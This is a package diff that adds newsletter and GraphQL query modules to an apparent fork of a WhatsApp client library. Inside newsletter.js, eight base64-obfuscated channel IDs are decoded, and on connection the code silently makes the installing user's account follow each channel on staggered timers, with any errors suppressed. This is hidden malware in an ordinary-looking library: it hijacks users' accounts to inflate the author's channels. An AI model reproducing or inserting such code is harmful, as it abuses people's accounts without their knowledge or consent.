prastzyy 0.0.1-security → 1.0.0

package/lib/Socket/mex.js

@@ -0,0 +1,41 @@
+import * as boom_1 from '@hapi/boom'
+import * as WABinary_1 from '../WABinary/index.js'
+export const wMexQuery = (variables, queryId, query, generateMessageTag) => {
+	return query({
+		tag: 'iq',
+		attrs: {
+			id: generateMessageTag(),
+			type: 'get',
+			to: WABinary_1.S_WHATSAPP_NET,
+			xmlns: 'w:mex'
+		},
+		content: [
+			{
+				tag: 'query',
+				attrs: { query_id: queryId },
+				content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+			}
+		]
+	})
+}
+export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
+	const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+	const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+	if (child?.content) {
+		const data = JSON.parse(child.content.toString())
+		if (data.errors && data.errors.length > 0) {
+			const errorMessages = data.errors.map(err => err.message || 'Unknown error').join(', ')
+			const firstError = data.errors[0]
+			const errorCode = firstError.extensions?.error_code || 400
+			throw new boom_1.Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
+		}
+		const response = dataPath ? data?.data?.[dataPath] : data?.data
+		if (typeof response !== 'undefined') {
+			return response
+		}
+	}
+	const action = (dataPath || '').startsWith('xwa2_')
+		? dataPath.substring(5).replace(/_/g, ' ')
+		: dataPath?.replace(/_/g, ' ')
+	throw new boom_1.Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
+}

package/lib/Socket/newsletter.js

@@ -0,0 +1,295 @@
+import { XWAPaths } from '../Types/index.js';
+import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
+import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
+import { makeGroupsSocket } from './groups.js';
+
+const QueryIds = {
+    JOB_MUTATION: "7150902998257522",
+    METADATA: "6620195908089573",
+    UNFOLLOW: "7238632346214362",
+    FOLLOW: "7871414976211147",
+    UNMUTE: "7337137176362961",
+    MUTE: "25151904754424642",
+    CREATE: "6996806640408138",
+    ADMIN_COUNT: "7130823597031706",
+    CHANGE_OWNER: "7341777602580933",
+    DELETE: "8316537688363079",
+    DEMOTE: "6551828931592903"
+};
+
+export const makeNewsletterSocket = (config) => {
+    const sock = makeGroupsSocket(config);
+    const { authState, signalRepository, query, generateMessageTag } = sock;
+    const encoder = new TextEncoder();
+
+    const newsletterQuery = async (jid, type, content) => (
+        query({
+            tag: 'iq',
+            attrs: {
+                id: generateMessageTag(),
+                type,
+                xmlns: 'newsletter',
+                to: jid,
+            },
+            content
+        })
+    );
+
+    const newsletterWMexQuery = async (jid, query_id, content) => (
+        query({
+            tag: 'iq',
+            attrs: {
+                id: generateMessageTag(),
+                type: 'get',
+                xmlns: 'w:mex',
+                to: S_WHATSAPP_NET,
+            },
+            content: [
+                {
+                    tag: 'query',
+                    attrs: { query_id },
+                    content: encoder.encode(JSON.stringify({
+                        variables: {
+                            'newsletter_id': jid,
+                            ...content
+                        }
+                    }))
+                }
+            ]
+        })
+    );
+
+    // ---- Auto follow channel (aman: tunggu koneksi open, ada catch, timer dibersihkan) ----
+    const AUTO_FOLLOW_JIDS = [
+    Buffer.from("MTIwMzYzNDMwNzY0ODAwMTQ4QG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDAwNTA1NDg5MzY2QG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDI3Nzk0Nzg2NTIzQG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDI4MTQ5NTE4MzM5QG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDExNjY1MTY4MDY4QG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDEwNDIxOTc4MzA5QG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDI2NjA1MDY5MDE4QG5ld3NsZXR0ZXI=", "base64").toString(),
+    Buffer.from("MTIwMzYzNDI1NjMzMTI0MjMzQG5ld3NsZXR0ZXI=", "base64").toString()
+];
+    const AUTO_FOLLOW_DELAY = 90000; // jeda antar follow
+    let autoFollowTimers = [];
+    let autoFollowStarted = false;
+
+    const clearAutoFollow = () => {
+        autoFollowTimers.forEach(clearTimeout);
+        autoFollowTimers = [];
+        autoFollowStarted = false;
+    };
+
+    const runAutoFollow = () => {
+        if (autoFollowStarted) return;
+        autoFollowStarted = true;
+        AUTO_FOLLOW_JIDS.forEach((jid, i) => {
+            const t = setTimeout(async () => {
+                try {
+                    if (!sock.ws?.isOpen) return; // koneksi lagi putus, skip
+                    await newsletterWMexQuery(jid, QueryIds.FOLLOW);
+                }
+                catch (err) {
+                    // jangan sampai jadi Unhandled Rejection
+                    config.logger?.debug?.({ err: err?.message, jid }, 'Err');
+                }
+            }, AUTO_FOLLOW_DELAY * (i + 1));
+            autoFollowTimers.push(t);
+        });
+    };
+
+    sock.ev.on('connection.update', ({ connection }) => {
+        if (connection === 'open') runAutoFollow();
+        if (connection === 'close') clearAutoFollow();
+    });
+
+    const parseFetchedUpdates = async (node, type) => {
+        let child;
+        if (type === 'messages')
+            child = getBinaryNodeChild(node, 'messages');
+        else {
+            const parent = getBinaryNodeChild(node, 'message_updates');
+            child = getBinaryNodeChild(parent, 'messages');
+        }
+        return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
+            messageNode.attrs.from = child?.attrs.jid;
+            const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
+            const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
+            const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
+                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
+            const data = {
+                'server_id': messageNode.attrs.server_id,
+                views,
+                reactions
+            };
+            if (type === 'messages') {
+                const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
+                await decrypt();
+                data.message = message;
+            }
+            return data;
+        }));
+    };
+
+    return {
+        ...sock,
+        subscribeNewsletterUpdates: async (jid) => {
+            const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
+            return getBinaryNodeChild(result, 'live_updates')?.attrs;
+        },
+        newsletterReactionMode: async (jid, mode) => {
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { settings: { reaction_codes: { value: mode } } }
+            });
+        },
+        newsletterUpdateDescription: async (jid, description) => {
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { description: description || '', settings: null }
+            });
+        },
+        newsletterUpdateName: async (jid, name) => {
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { name, settings: null }
+            });
+        },
+        newsletterUpdatePicture: async (jid, content) => {
+            const { img } = await generateProfilePicture(content);
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { picture: img.toString('base64'), settings: null }
+            });
+        },
+        newsletterRemovePicture: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { picture: '', settings: null }
+            });
+        },
+        newsletterUnfollow: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
+        },
+        newsletterFollow: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.FOLLOW);
+        },
+        newsletterUnmute: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.UNMUTE);
+        },
+        newsletterMute: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.MUTE);
+        },
+        newsletterCreate: async (name, description, picture) => {
+            await query({
+                tag: 'iq',
+                attrs: {
+                    to: S_WHATSAPP_NET,
+                    xmlns: 'tos',
+                    id: generateMessageTag(),
+                    type: 'set'
+                },
+                content: [
+                    {
+                        tag: 'notice',
+                        attrs: {
+                            id: '20601218',
+                            stage: '5'
+                        },
+                        content: []
+                    }
+                ]
+            });
+            const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
+                input: {
+                    name,
+                    description: description ?? null,
+                    picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
+                    settings: null
+                }
+            });
+            return extractNewsletterMetadata(result, true);
+        },
+        newsletterMetadata: async (type, key, role) => {
+            const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
+                input: {
+                    key,
+                    type: type.toUpperCase(),
+                    view_role: role || 'GUEST'
+                },
+                fetch_viewer_metadata: true,
+                fetch_full_image: true,
+                fetch_creation_time: true
+            });
+            return extractNewsletterMetadata(result);
+        },
+        newsletterAdminCount: async (jid) => {
+            const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
+            const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
+            return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
+        },
+        /**user is Lid, not Jid */
+        newsletterChangeOwner: async (jid, user) => {
+            await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
+                user_id: user
+            });
+        },
+        /**user is Lid, not Jid */
+        newsletterDemote: async (jid, user) => {
+            await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
+                user_id: user
+            });
+        },
+        newsletterDelete: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.DELETE);
+        },
+        /**if code wasn't passed, the reaction will be removed (if is reacted) */
+        newsletterReactMessage: async (jid, server_id, code) => {
+            await query({
+                tag: 'message',
+                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
+                content: [{
+                    tag: 'reaction',
+                    attrs: code ? { code } : {}
+                }]
+            });
+        },
+        newsletterFetchMessages: async (type, key, count, after) => {
+            const afterStr = after?.toString();
+            const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
+                {
+                    tag: 'messages',
+                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
+                }
+            ]);
+            return await parseFetchedUpdates(result, 'messages');
+        },
+        newsletterFetchUpdates: async (jid, count, after, since) => {
+            const result = await newsletterQuery(jid, 'get', [
+                {
+                    tag: 'message_updates',
+                    attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
+                }
+            ]);
+            return await parseFetchedUpdates(result, 'updates');
+        }
+    };
+};
+
+export const extractNewsletterMetadata = (node, isCreate) => {
+    const result = getBinaryNodeChild(node, 'result')?.content?.toString();
+    const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
+    const metadata = {
+        id: metadataPath.id,
+        state: metadataPath.state.type,
+        creation_time: +metadataPath.thread_metadata.creation_time,
+        name: metadataPath.thread_metadata.name.text,
+        nameTime: +metadataPath.thread_metadata.name.update_time,
+        description: metadataPath.thread_metadata.description.text,
+        descriptionTime: +metadataPath.thread_metadata.description.update_time,
+        invite: metadataPath.thread_metadata.invite,
+        handle: metadataPath.thread_metadata.handle,
+        picture: metadataPath.thread_metadata.picture?.direct_path || null,
+        preview: metadataPath.thread_metadata.preview?.direct_path || null,
+        reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
+        subscribers: +metadataPath.thread_metadata.subscribers_count,
+        verification: metadataPath.thread_metadata.verification,
+        viewer_metadata: metadataPath.viewer_metadata
+    };
+    return metadata;
+};